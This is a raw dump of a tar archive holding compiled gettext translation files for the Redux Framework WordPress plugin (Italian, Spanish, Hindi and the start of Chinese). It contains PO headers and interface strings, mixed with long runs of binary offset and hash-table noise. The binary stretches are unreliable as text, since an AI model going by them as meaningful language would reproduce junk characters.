Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Italian (Italy) (http://www.transifex.com/projects/p/redux-framework/language/it_IT/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: it_IT Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Attivare la modalità Demo�Attiva Plugin di Sviluppo�Attivo�Aggiungi %s�Aggiungi altro�Aggiungi / Modifica Galleria�Tutti�Tutti i valori di default ripristinati!�Permetti tracciabilità�Sei sicuro ? Resettare eliminerà tutte le impostazioni personali.�Sei sicuro ? Resettare eliminerà tutti i valori personali in questa sezione.�Sei sicuro ? Resettare eliminerà tutti i valori personali che hai impostato.�URL autore�Azione automatica eseguita: "%s"�Fisso o scorrevole�Taglio Sfondo�Origine Sfondo�Posizione dello sfondo�Ripetizione dello sfondo�Dimensione Sfondo�Famiglia carattere di Backup�Stile bordo�Basso�Browser�Changelog�Cancella Galleria�Clicca qui per attivare il file di configurazione di esempio.�Chiudi�Credits�Disattivare la Modalità Demo�Disattiva Plugin di Sviluppo�Predefinito�Il fuso orario predefinito è %s - dovrebbe essere UTC�Cancella�Descrizione�Sviluppatore�Modalità sviluppatore attiva�Sapevi che abbiamo delle estensioni che possono migliorare le potenzialità di Redux? Visita il nostro %1$s per saperne di più!�Disabilita�Rimuovi�Non permettere tracciabilità�Documenti�Indirizzo Email�Abilita�Espandere�Esporta Opzioni�Estensioni�Colore carattere�Famiglia carattere�Dimensione carattere�Sottoinsiemi del carattere�Variante carattere�Peso e Stile carattere�Colore carattere�Famiglia di caratteri�Script di font�Stile carattere�Sottoinsiemi carattere�Da�Pagina iniziale�Genera report di sistema�Come iniziare�WebFonts di Google�Altezza�Aiutaci a migliorare il nostro Pannello�Qui è possibile copiare / scaricare le impostazioni delle opzioni correnti. Tenetele al sicuro poichè le si può utilizzare come backup se qualcosa dovesse andare storto, oppure lo si può utilizzare per ripristinare le impostazioni su questo sito (o di qualsiasi altro sito).�Suggerimenti�URL Home�Hover (al passaggio del mouse)�Se è così, per favore %$1$s e considera di fare una %2$s per sostenere lo sviluppo di Redux.�Se vuoi essere aggiornato su tutto ciò che riguarda Redux, per favore iscriviti alla nostra newsletter�Importa�Importa / Esporta�Importa Opzioni�Importa da URL�Inserire l'URL delle opzioni di un altro sito e premi Importa per caricare le opzioni da quel sito.�Inserisci il file di backup qui sotto e premi Importa per ripristinare le opzioni del sito da un backup.�Sinistra�Spaziatura lettere�Ti piace Redux?�Altezza di linea�Deve essere chiamata dopo la action "plugins_loaded"�Versione MySQL�Nome�Nuovo %s�Newsletter�Non sono stati trovati elementi di questo tipo.�Nessun media selezionato�Spento�Acceso�Opzioni�Oggetto Opzioni�Pannello opzioni creato con %1$s�PHP Max Input Vars�PHP Post Max Size�PHP Time Limit�Versione PHP�Password�Attendere Prego�Per favore aiutaci a migliorare il nostro pannello permettendoci di raccogliere statistiche anonime sull'uso in modo da sapere quali configurazioni, plugin e temi testare per garantire la compatibilità.�Estensioni di Redux�Redux Framework�Redux Framework ha un demo incorporato.�Generatore Redux�Normale�Rimuovere�Repo�Resetta tutto�Resetta sezione�Destra�SUHOSIN installato�Salva Impostazioni�Valori di default della sezione ripristinati!�Seleziona un elemento�Impostazioni importate!�Impostazioni salvate!�Le impostazioni sono cambiate, dovresti salvarle!�Mostra oggetti in Javascript Console�URL sito�Dimensione�Scorri�Font standard�Stato�Stile�Iscriviti�Sottoinsiemi�Supporto�Informazioni di sistema�Allineamento Testo�Decorazione testo�Trasformazione Testo�L'azione sconosciuta è stata rimpiazzata con "%s"�Tema�Questo campo non può essere vuoto. Per favore inserisci un valore.�Questo campo deve essere un valore di colore valido.�Questo campo deve essere una data valida.�Questo pannello dimostra le tante funzionalità di Redux. Prima di approfondire, suggeriamo di prendere confidenza esaminando %1$s. �Titolo�A�Alto�Trasparente�URL�Unità�Azione sconosciuta "%1$s" specificata per %2$s�Carica�Utilizzatore�Nome utente�Versione�Versione %s�Visualizza %s�Visita la homepage del plugin�Visitato�ATTENZIONE! Questo sovrascriverà tutti i valori delle opzioni esistenti, si prega di procedere con cautela!�Vuoi un vantaggio iniziale? Usa %1$s. Creerà un tema boilerplate o una cartella di amministrazione con tutto ciò che riguarda Redux (con l'aiuto di Underscores e TGM). Risparmiati un mal di testa e provalo oggi.�Attenzione - Questo pannello opzioni non funzionerà correttamente senza javascript!�Benvenuti in Redux Framework�Benvenuto in Redux Framework %s�Benvenuti nel pannello dimostrativo di Redux�Cosa c'è di nuovo�Larghezza�Spaziatura parola�Lavorando...�Devi farti autorizzare per accedere a questa pagina.�Ci sono delle modifiche non ancora salvate. Salvarle adesso ?�Ci sono delle modifiche non ancora salvate. Salvarle adesso ?�Non devi inserire alcun codice HTML in questo campo, tutti i tag HTML sono stati rimossi.�Non devi inserire alcun carattere speciale in questo campo, tutti i caratteri speciali sono stati rimossi.�Per questa opzione è necessario fornire un elenco di valori numerici separato da virgole.�È necessario fornire un valore numerico per questa opzione.�È necessario fornire un URL valido per questa opzione.�È necessario fornire un indirizzo email valido per questa opzione.�Le tue impostazioni saranno sostituite con i valori di questa pre-impostazione. Vuoi procedere ?�Le tue personalizzazioni saranno sovrascritte con i valori di questa pre-impostazione. Vuoi Procedere ?�donazione�errore(i) trovati!�directory delle estensioni�abbia i permessi di lettura/scrittura adeguati o inserisci le tue informazioni FTP sotto.�è disponibile�lasciaci una recensione favorevole su WordPress.org�la nostra documentazione�avviso(i) trovati!��������������������������������������������������������������������������redux-framework/languages/redux-framework-es_ES.mo��������������������������������������������������0000644�����������������00000045561�14720701300�0016314 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������K��\�������������������������������������������������������� ��5�����D���P��4����� ����������������������������#�����3�� ���F�����S�����Z�� ���b�� ���o�� ���y�� �����.��������������� ���������������������������������.�����M�����U��)���m������� �����9����� ������������������ ����������+�����0�� ���C�����Q�� ���X�����b�����i�� ���x�� ����� ����� ����� ����� ���������� ����� ����� ����� ����� ���������� �����.���"�����Q�� ���h�����t�����������������������������������������������1�����'������������������*�����9�����J��E���Z��-�����]�����X���,��1���������� ��������������� ����� ������������� �� ��������+�����0�����7�� ���K��!���V�����x���������������������� ������������������������������� ���!�����-�����6�� ���J�� ���V�����a�����r��������������������������������%���&�����L�����\�� ���m��W���{����������������� ����� ������������� �� ��� �����$ �����? �����S �����l �����{ �� ��� ����� ����� ��,��� ��(��� �����!�����!�����!!�����'!�����6!�����=!�����C!�� ���\!�����f!�����n!�� ���v!�� ���!�� ���!�����!�����!�� ���!��{���!��%���T"��7���z"��I���"��F���"��'���C#�����k#��6���#��4���#��0���#�����"$��=���($��3���f$��'���$�� ���$�����$�����$�����$�� ���$�����$��3���%�����5%�����;%�����B%�����G%�����P%�� ���X%�����c%�����k%�����%��U���%�� ���%�����%�� ���%�� ��� &��F���&�����\&�����w&�����&�����&�����&�� ���&��4���&�����)'�� ���/'�����<'�� ���R'��;���]'��F���'��E���'��K���&(��b���r(��L���(��3���")��-���V)��/���)��a���)��`���*��*���w*�����*�����*�����*�����*�����*��J���*�����9+��,���S+�� ���+��,���+�����+�����+�����+��V��+�����P/�����n/�����/�����/�� ���/�� ���/�����/�����/��.���/�����0��I���0��Z���f0��H���0�� ��� 1�����1�����*1�����;1�����O1�����e1��+���w1�����1�����1�� ���1�����1�����1�� ���1�����1��F���2�����V2�� ���]2�� ���h2�����u2�����2�� ���2��$���2�� ���2�� ���2�����3��"���'3��4���J3�����3�� ���3��7���3�� ���3�����3�� ���3�� ���4�����4�� ���&4�����14�����L4�����`4�� ���h4�����r4�����{4�� ���4�����4�����4�����4�����4�����4�����5�����5�����-5�����B5�����Q5�����e5�����|5�����5�����5�����5�����5�����5�����5�����5�����6�� ��� 6�����,6�����7�� ���$7�����27�����87��<���N7��.���7�����7�����7�����7�����7�����8��D���8��1���_8��r���8�����9��2���9�����9�� ���9�� ���9�����9�����9�����:�����:�����#:�����3:�����B:�����I:�����R:�����i:��.���~:�����:�����:�� ���:�����:�����:��$���:�����;�����#;�����6;�����P;�����b;�� ���q;�� ���~;��!���;�����;�����;�����;�����;��$���;�����<�����9<��$���S<�����x<�����<��4���<�����<�����<�����=��g���=�����|=�����=�� ���=�����=�����=�����=�����=�����=��=���=�����%>�����A>�����_>�����w>�����>�����>�����>��0���>��5���?�� ���8?�����F?�����N?�����W?�����i?�����p?�����w?�� ���?�� ���?�����?�����?�� ���?�����?�����?�����@��+���@��v���C@��+���@��A���@��L���(A��C���uA��'���A��'���A��.��� B��,���8B��/���eB�����B��B���B��@���B��.���C��%���MC�����sC�����{C�����C�� ���C�����C��G���C�����C�����C�����C�����C�����C�� ���D�����D�����D�����5D��i���>D�� ���D�����D�� ���D�� ���D��O���D�����9E�����VE��)���vE�����E�����E�����E��-���E�����F�����"F�����9F�� ���KF��:���YF��;���F��;���F��Q��� G��n���^G��X���G��7���&H��?���^H��C���H��j���H��j���MI��+���I�����I�����I�� ���I�����I�����J��f���2J�����J��,���J�����J��.���J����� K�����;K�����RK�����}���$�������������������� ����������<���)������+���^�����������x���������W����������������&���������v������!�����������������0�����������������������������L�������������Z���O���p������J���"����������������F������u����������������������7����������s���������� ����������(���'���Y������c���������������������������������������������������������C���-������*����������S���j������;��������������������o������������U������f���K���>����������N��������������������������������������8���/��������������B����������������������������@��������������2����������,�������������w�����������������D�������E��������� ������������������������A���������������6���#��������������Q���`���������k��������������������=�����������������n���4������]���9�������5���q���1����������:����������l���m��������������r�������������������e����������������G���������������������.�������������������������� �������������������h���g���H���d��������������������t��������������������������M���������������� ���������������_��������������������z������y����������b�������R������X������a���[���{�����������������\������ ������~������%������P����������������|���T���V���������������������������������3���?������i���I�������Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Background Attachment�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Browser Info�Changelog�Child Theme�Clear Gallery�Click here to activate the sample config file.�Close�Copied!�Copy Data�Copy Export URL�Copy for Support�Credits�Database Table Prefix�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default Timezone is UTC�Default timezone is %s - it should be UTC�Delete�Description�Determines if PHP will display errors within the browser.�Developer�Developer Mode Enabled�Disable�Dismiss�Do not allow tracking�Docs�Download Data File�Email address�Enable�Error: %s�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Generate a Support URL�Generate a Support URL�Get Support�Get System Report�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Home URL�Hover�How to Get Support�I am a developer, building a product using Redux.�I am a user, using a pre-built product.�Import�Import / Export�Import Options�Import from File�Import from URL�Information about the web server that is currently hosting your site.�Information about web browser current in use.�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Is the server running in a localhost environment.�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Localhost Environment�Max Upload Size�MySQL Version�Name�New %s�New in this Release�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Display Errors�PHP Max Input Vars�PHP Memory Limit�PHP Post Max Size�PHP Time Limit�PHP Version�Password�Permalink Structure�Please Wait�Posts Page�Redux Extensions�Redux Framework�Redux Framework - Changelog�Redux Framework - Extensions�Redux Framework - Support�Redux Framework - System Status�Redux Framework Changelog�Redux Framework Status�Redux Framework has an embedded demo.�Redux Generator�Redux Instance: �Redux Version�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select Support Type�Select Your Support Type�Select an item�Server Environment�Server Info�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Site URL�Size�Slide�Standard Fonts�Status�Style�Submit a Support Request�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The URL of your site's homepage.�The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)�The default timezone for your server.�The largest filesize that can be contained in one post.�The largest filesize that can be uploaded to your WordPress installation.�The maximum amount of memory (RAM) that your site can use at one time.�The people that develop Redux Framework�The theme developers URL.�The version of MySQL installed on your hosting server.�The version of PHP installed on your hosting server.�The version of WordPress installed on your site.�Theme�There was an error saving. Here is the result of your action:�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Unable to modify required files. Please ensure that�Units�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�WP Debug Mode�WP Memory Limit�WP Multisite�WP Version�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What is Redux Framework?�What type of user are you?�What's New�Whether or not you have WordPress Multisite enabled.�Width�Word Spacing�WordPress Environment�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your panel has no fields. Nothing to save.�by authorby %s�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�is available�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Diego R <info@digital03.net> Language-Team: Spanish (Spain) (http://www.transifex.com/projects/p/redux-framework/language/es_ES/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: es_ES Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Activar Modo de Demostración�Activar Plugins de Desarrollo�Activo�Plugins Activos�Añadir %s�Añadir Más�Añadir/Editar Galería�Todo�Restaurados todos los valores predeterminados!�Permitir seguimiento�¿Está seguro? Al restablecer perderá todos los valores personalizados.�¿Está seguro? Al restablecer perderá todos los valores personalizados de esta sección.�¿Está seguro? Al restablecer perdera todos los valores personalizados.�URL del Autor�Adjunto del fondo�Origen del fondo�Posición del fondo�Repetición del fondo�Tamaño del fondo�Copiad de seguridad de la Familia de Fuente�Estilo del borde�Abajo�Navegador�Información del Navegador�Informe de cambios�Child Theme�Limpiar Galería�Haga click aquí para activar el archivo de configuración de ejemplo.�Cerrar�¡Copiado!�Copiar Datos�Copiar URL de Exportación�Copiar para el Soporte�Créditos�Prefijo de Tabla de la Base de Datos�Desactivar Modo de Demostración�Desactivar Plugins de Desarrollo�Predeterminado�La Zona Horaria por defecto es UTC�La Zona Horaria por defecto es %s - Debería ser UTC�Eliminar�Descripción�Determina si PHP puede mostrar errores en el navegador.�Desarrollador�Modo Desarrollador Habilitado�Desactivar�Descartar�No permitir seguimiento�Documentos�Descargar Archivo de Datos�Dirección de email�Activar�Error: %s�Expandir�Opciones de Exportación�Extensiones�Color de fuente�Familia de fuente�Tamaño de fuente�Subconjuntos de fuentes�Variaciones de Fuente�Peso y estilo de fuente�Color de la fuente�Familia de la fuente�Fuentes script�Estilo de la Fuente�Subconjuntos de Fuente�De�Página Principal�Generar URL de Soporte�Generar URL de Soporte�Obtener soporte�Obtener Reporte del Sistema�Comenzar�Google Webfonts�Altura�Ayudenos a mejorar Nuestro Panel�Aquí puede copiar / descargar sus ajustes de opciones. Mantenga esto seguro, ya que se puede utilizar como una copia de seguridad si algo va mal, o puede utilizarlo para restaurar la configuración en este sitio (o cualquier otro sitio).�Consejos�URL de Inicio�Sobre�Cómo obtener Soporte�Soy un desarrollador, construyendo un producto usando Redux.�Soy un usuario, usando un producto programado.�Importar�Importar / Exportar�Opciones de Importación�Importar desde archivo�Importar desde URL�Información sobre el servidor web en el que está alojado tu sitio.�Información del navegador web usado actualmente.�Introduzca la URL del conjunto de opciones de otro sitio y pulse Importar para cargar las opciones de dicho sitio.�Introduzca su archivo de copia de seguridad debajo y pulse Importar para restaurar las opciones del sitio desde una copia de seguridad.�El servidor está funcionando en un entorno local.�Idioma�Saber Más�Izquierda�Espacio entre letras�¿Te gusta Redux?�Alto de línea�Entorno Localhost�Max Upload Size�Versión MySQL�Nombre�Nuevo %s�Nuevo en esta versión�Boletín informativo�No se encontró ningún elemento de este tipo.�Nada seleccionado�Apagado�Encendido�Opciones�Objeto Opciones�Panel de opciones creado usando %1$s�Mostrar errores PHP�PHP Max Input Vars�Límite de memoria de PHP�PHP Post Max Size�PHP Time Limit�Versión PHP�Contraseña�Estructura de Enlaces Permanentes�Espere por favor�Página de entradas�Extensiones de Redux�Redux Framework�Redux Framework - Informe de cambios�Redux Framework - Extensiones�Redux Framework - Soporte�Redux Framework - Estado del Sistema�Changelog de Redux Framework�Estado de Redux Framework�Redux Framework tiene una demostración incorporada.�Generador Redux�Instancia Redux:�Versión Redux�Redux es un framework de opciones simple y realmente extensible para plantillas y plugins de WordPress.�Regular�Quitar�Repositorio�Restablecer Todo�Restablecer Sección�Derecha�SUHOSIN Instalado�Guardar Cambios�Restaurados todos los valores predeterminados de la sección!�Seleccionar Tipo de Soporte�Selecciona tu tipo de Soporte�Seleccionar un elemento�Entorno del Servidor�Información del Servidor�¡Ajustes Importados!�¡Ajustes Guardados!�Los ajustes han cambiado, ¡debería guardarlos!�Mostrar Objeto en la Consola de Objetos de Javascript�URL del sitio�Tamaño�Deslizar�Fuentes Estándar�Estado�Estilo�Enviar Solicitud de Soporte�Subscribete�Subconjuntos�Soporte�Información del sistema�Team Redux�Alineamiento del texto�Decoración del texto�Transformar texto�La URL de la página de inicio de tu sitio.�La cantidad de tiempo (en segundos) que tu sitio puede usar en una operación (para prevenir bloqueos en el servidor).�La Zona Horaria por defecto de tu servidor.�El tamaño máximo de archivo que puede ser publicado en un post.�Tamaño máximo de archivo que puede subirse a tu instalación de WordPress.�Cantidad de memoria (RAM) máxima que tu sitio puede usar cada vez.�La gente que desarrolla Redux Framework�La URL del programador de la plantilla.�La versión de MySQL instalada en el servidor.�La versión de PHP instalada en el servidor.�La versión de WordPress instalada en tu sitio.�Tema�Ha habido un error al guardar. Este es el resultado de su acción:�Este campo no puede estar vacío. Por favor, introduce un valor.�Este campo debe ser un valor de color válido.�Este campo debe se una fecha válida.�Título�Para�Arriba�Transparente�URL�Imposible modificar los archivos necesarios. Por favor asegurate de que�Unidades�Subir�Usuario�Usuario�Versión�Versión %s�Ver %s�Visitar la web del plugin�Visitado�¡ATENCIÓN! Esto sobrescribirá todos los valores de las opciones existentes, ¡proceda con precaución!�WP modo Debug�Límite de memoria de WP�WP Multisitio�Versión WP�¡Atención! Este panel de opciones no funcionará correctamente sin javascript�Bienvenido a Redux Framework�Bienvenido a Redux Framework %s�¡Bienvenido al Panel de prueba de Redux!�¿Qué es Redux Framework?�¿Qué tipo de usuario eres?�¿Que hay de nuevo?�Si tienes o no WordPress Multisitio activado.�Anchura�Espacio entre palabras�Entorno WordPress�Procesando...�No tienes suficientes permisos para acceder a esta página�Tiene cambios sin guardar. ¿Le gustaría guardarlos ahora?�Tiene cambios sin guardar. ¿Le gustaría guardarlos ahora?�No debe introducir HTML en este campo, todas las etiquetas HTML se han eliminado.�No debe introducir ningún carácter especial en este campo, se han eliminado todos los caracteres especiales.�Debe proporcionar una lista de valores numéricos separados por comas para esta opción.�Debe proporcionar un valor numérico para esta opción.�Debe proporcionar una dirección URL válida para esta opción.�Debe proporcionar un correo electrónico válido para esta opción.�Sus opciones actuales serán reemplazadas con los valores predefinidos de este archivo. ¿Desea continuar?�Sus opciones actuales serán reemplazadas con los valores predefinidos de este archivo. ¿Desea continuar?�Tu panel no tiene campos. Nada que guardar.�por %s�pulsando�Donación�¡Se encontraron errores!�Directorio de extensiones�tiene los permisos correctos de lectura/escritura o introduce la información del FTP a continuación.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�está disponible�déjanos una review favorable en WordPress.org�mover el ratón por encima�Nuestra documentación�¿Se encontraron advertencias!������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-hi_IN.mo��������������������������������������������������0000644�����������������00000021621�14720701300�0016273 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������_����������� ����������� ����������#�����*�����3�����D��5���H��D���~��4������������� �����" �����4 �����D �� ���W �����d ��.���k ����� ����� ����� ����� �� ��� ����� ����� �� ��� ����� ����� �� ��� �� ��� �� ��� �� ��� �� ���( �����4 �����: �����J �����Z �����a �����g �����n �����~ ����� ����� ����� �� ��� �� ��� ����� ����� �� ��� ����� ����� ����� ����� �� ��� �����" �� ���+ �����7 �����G �����O �� ���V �� ���` �����n �� ���t ����� ����� ����� ��,��� ����� ����� �� ��� ����� �� ��� ����� ����� ����� �� ��� �����$ �����( �����. �����5 �����: �����C �����^ �� ���d �� ���q ��;���| ��F��� ��E��� ��a���E ��`��� ���������������&��,���@�����m��g����3�������� �����3�����D��B���^�� �������������m�����.��.�����5�����1���T��/�����6�����%��������������������?�������� ����������-��(���=�����f�����y�������"���������������&��� ��#���4�����X�����u�����|��(��������������� �����$�����&�����0���5�� ���f��"���s��*�����)����� ����� ����������<���"�����_�����f�����m��_����������8�����/���/�����_�����r��*�����"����� �����+�����#��� ��3���-��3���a��c����� ������������������6��"���I�����l�������������������������������������(������`���)�������������������������o�����. ����� �����!�� ���"��1���"�����#��,���1#��2���^#�����*���C�������������� ���J��� ������� ������=���'���S���>���R��������������;���<������2���F���:���8�����������7���1���W�����������,���Y����������G�����������B���H��������������9���5������$���E���)���I�����������������6���M������@����������Q���+�������Z���L������� ���(���%���N������ ���#���T���O���������_�������0���������������^���X�������/���[���-���D�������A���K�������������4���������� ���.���\�����������P������������������!���3�������"���V�������������]������U���&�������?����Activate Demo Mode�Active�Add %s�Add More�Add/Edit Gallery�All�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Click here to activate the sample config file.�Close�Deactivate Demo Mode�Default�Delete�Description�Disable�Dismiss�Email address�Enable�Expand�Font Color�Font Family�Font Size�Font color�Font family�From �Getting Started�Google Webfonts�Height�Hints�Import�Import / Export�Import Options�Import from URL�Left�Letter Spacing�Like Redux?�Line Height�Name�New %s�Newsletter�No media selected�Off�On�Options�Options panel created using %1$s�Password�Please Wait�Redux Framework�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Size�Status�Subscribe�Support�System Info�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Welcome to Redux Framework�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Hindi (India) (http://www.transifex.com/projects/p/redux-framework/language/hi_IN/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hi_IN Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �डेमो मोड सक्रिय करे�सक्रिय�जोड़े %s�और जोड़ें�गैलरी जोड़ें/संपादित करे�सभी �क्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगे�क्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगे�क्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगे�पृष्ठभूमि संलग्न�पृष्ठभूमि की अवस्था�पृष्ठभूमि दोहराएँ�पृष्ठभूमि का आकार�फॉन्ट समूह बैकअप करे�बॉर्डर स्टाइल�तल�सैंपल कॉन्फ़िग फ़ाइल को सक्रिय करने के लिए यहां क्लिक करें.�बंद करें�डेमो मोड निष्क्रिय करें�स्वतः�हटाएँ�विवरण�निष्क्रिय करें�ख़ारिज�ईमेल पता�सक्रिय करें�विस्तृत करें�फ़ॉन्ट रंग�फॉन्ट समूह�फ़ॉन्ट का आकार�फ़ॉन्ट का रंग�फॉन्ट समूह�से�आरंभ करे�गूगल वेबफोंट्स�ऊंचाई�संकेत�आयात�आयात / निर्यात�आयात के विकल्प�यूआरएल से आयात करे�बाएँ�अक्षर अंतराल�रिडक्स पसंद आया?�पंक्ति की ऊंचाई�नाम�नया %s�न्यूज़लेटर�मीडिया चयनित नहीं किया�ऑफ�ऑन�विकल्प�विकल्प पैनल %1$s का उपयोग करके बनाया है�कूटशब्द�कृपया प्रतीक्षा करें� रिडक्स फ्रेमवर्क�नियमित�हटाएँ�सभी को रीसेट करे�रीसेट सेक्शन�दाये�परिवर्तन सहेजें�एक आइटम चुनें�सेटिंग्स आयात किया!�सेटिंग्स सहेजा गया!�सेटिंग्स बदल गयी हैं, परिवर्तन सहेजें�आकार�स्थति�सदस्यता लें�सहायता�सिस्टम सूचना�शीर्षक�से�शीर्ष�पारदर्शक�यूआरएल� इकाई�अपलोड�उपयोगकर्ता�उपयोगकर्ता नाम� रिडक्स फ्रेमवर्क में आपका स्वागत है�चौडाई�शब्द अंतराल�काम जारी...�आपको इस पृष्ठ का उपयोग करने के लिए पर्याप्त अनुमति नहीं है.�आप के परिवर्तनों को सहेजा नहीं है अब तक. क्या आप अब उन्हें सहेजना चाहेंगे?�आप के परिवर्तनों को सहेजा नहीं है अब तक. क्या आप अब उन्हें सहेजना चाहेंगे?�आपके मौजूदा विकल्पों को इस पूर्व निर्धारित मूल्य से बदल दिया जाएगा. क्या आप आगे बढ़ना चाहेंगे?�आपके मौजूदा विकल्पों को इस पूर्व निर्धारित मूल्य से बदल दिया जाएगा. क्या आप आगे बढ़ना चाहेंगे?�दान�त्रुटी (या) पाई गयी!�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�चेतावनी(या) पाई गयी!����������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-zh_CN.mo��������������������������������������������������0000644�����������������00000033764�14720701300�0016321 0����������������������������������������������������������������������������������������������������ustar�00���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ������������������������������������������!�����%�����<��5���K��D�����4����� ����� ��������'�����=�����M�����_�����s������������ ��������������� ����� �����.�������� ���������������.�����M��)���U������� ����� ����������l�������� �����(�����0�����F�� ���K�����Y�����`�����g�� ���v�� ����� ����� ����� ����� ���������� ����� ����� ����� ����� ������������������'�����7�����G�����N�����e�����2�����8�����A��Z���G��U�������������������������]���.��X�������������������� ����� �����2����� ���M�����[�����`�� ���g��!���r��������������������������� ������������������ �� ��������%�� ���.�����:�����K�����[��%���u�������W������������� ������� ����� ���!�����/�����5�� ���G�����T�����o�����~�������,�����(������������������������������� ���!�����+�����3�� ���;�� ���G�� 